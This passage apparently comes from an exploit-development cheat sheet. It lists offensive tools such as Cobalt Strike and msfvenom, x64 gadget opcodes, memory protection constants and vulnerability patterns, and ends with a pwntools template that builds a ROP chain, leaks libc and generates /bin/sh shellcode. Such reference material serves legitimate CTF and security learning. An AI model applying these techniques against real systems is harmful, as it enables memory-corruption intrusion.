| msfvenom | Payload generation | Multi-format shellcode, encoders, stagers |
| Cobalt Strike | C2 & post-exploitation | Beacon, BOFs, malleable C2 |
| AFL++ / libFuzzer | Fuzzing | Coverage-guided, mutation-based |
| WinAFL | Windows fuzzing | DynamoRIO/Intel PT, persistent mode |
| Frida | Dynamic instrumentation | JS scripting, hook any function, cross-platform |
Quick Reference
Essential patterns and values at a glance
x86/x64 Instruction Quick Ref (Exploit-Relevant)
| Instruction | Bytes (x64) | Exploit Use |
|---|---|---|
ret | C3 | ROP gadget terminator |
nop | 90 | NOP sled, alignment |
int 3 | CC | Breakpoint, detect debugging |
syscall | 0F 05 | Direct syscall (x64 Linux/Windows) |
int 0x80 | CD 80 | Linux x86 syscall |
jmp rsp | FF E4 | Jump to stack (shellcode on stack) |
call rsp | FF D4 | Call stack address |
pop rdi; ret | 5F C3 | Set RDI (arg1 on Linux) |
pop rsi; ret | 5E C3 | Set RSI (arg2 on Linux) |
pop rcx; ret | 59 C3 | Set RCX (arg1 on Windows) |
endbr64 | F3 0F 1E FA | CET IBT landing pad |
Memory Protection Constants
Windows (VirtualProtect)
| Constant | Value |
|---|---|
| PAGE_NOACCESS | 0x01 |
| PAGE_READONLY | 0x02 |
| PAGE_READWRITE | 0x04 |
| PAGE_EXECUTE | 0x10 |
| PAGE_EXECUTE_READ | 0x20 |
| PAGE_EXECUTE_READWRITE | 0x40 |
Linux (mprotect)
| Constant | Value |
|---|---|
| PROT_NONE | 0x0 |
| PROT_READ | 0x1 |
| PROT_WRITE | 0x2 |
| PROT_EXEC | 0x4 |
| PROT_READ|WRITE|EXEC | 0x7 |
Common Vulnerability Patterns
| Pattern | CWE | What to Look For |
|---|---|---|
| Stack buffer overflow | CWE-121 | strcpy, gets, sprintf, fixed-size buffer + unbounded input |
| Heap buffer overflow | CWE-122 | malloc + memcpy with wrong size, off-by-one in loop |
| Use-after-free | CWE-416 | Free without nulling pointer, reference counting bugs |
| Double free | CWE-415 | Error paths that free twice, complex ownership |
| Integer overflow | CWE-190 | Size multiplication, addition without overflow check |
| Type confusion | CWE-843 | Polymorphism, union misuse, incorrect cast |
| Format string | CWE-134 | User input as format arg to printf family |
| Race condition | CWE-362 | TOCTOU, shared state without locks |
| Null pointer deref | CWE-476 | Unchecked return values, error paths |
| Uninitialized memory | CWE-908 | Stack/heap variables used before init, info leak |
pwntools Quick Reference
from pwn import * # Context setup context.arch = 'amd64' context.os = 'linux' context.log_level = 'debug' # Connect to target p = process('./vuln') # Local p = remote('host', 1337) # Remote # ELF analysis elf = ELF('./vuln') libc = ELF('./libc.so.6') elf.symbols['main'] # Function address elf.got['puts'] # GOT entry elf.plt['puts'] # PLT entry # ROP chain building rop = ROP(elf) rop.call('puts', [elf.got['puts']]) # Leak libc address rop.call('main') # Return to main print(rop.dump()) # Shellcode shellcode = asm(shellcraft.sh()) # Linux /bin/sh shellcode = asm(shellcraft.cat('flag.txt')) # Packing p64(addr) # Pack 64-bit address u64(leak.ljust(8, b'\x00')) # Unpack leaked bytes # Format string payload = fmtstr_payload(offset, {target: value}) # Pattern finding cyclic(200) # Generate pattern cyclic_find(0x61616168) # Find offset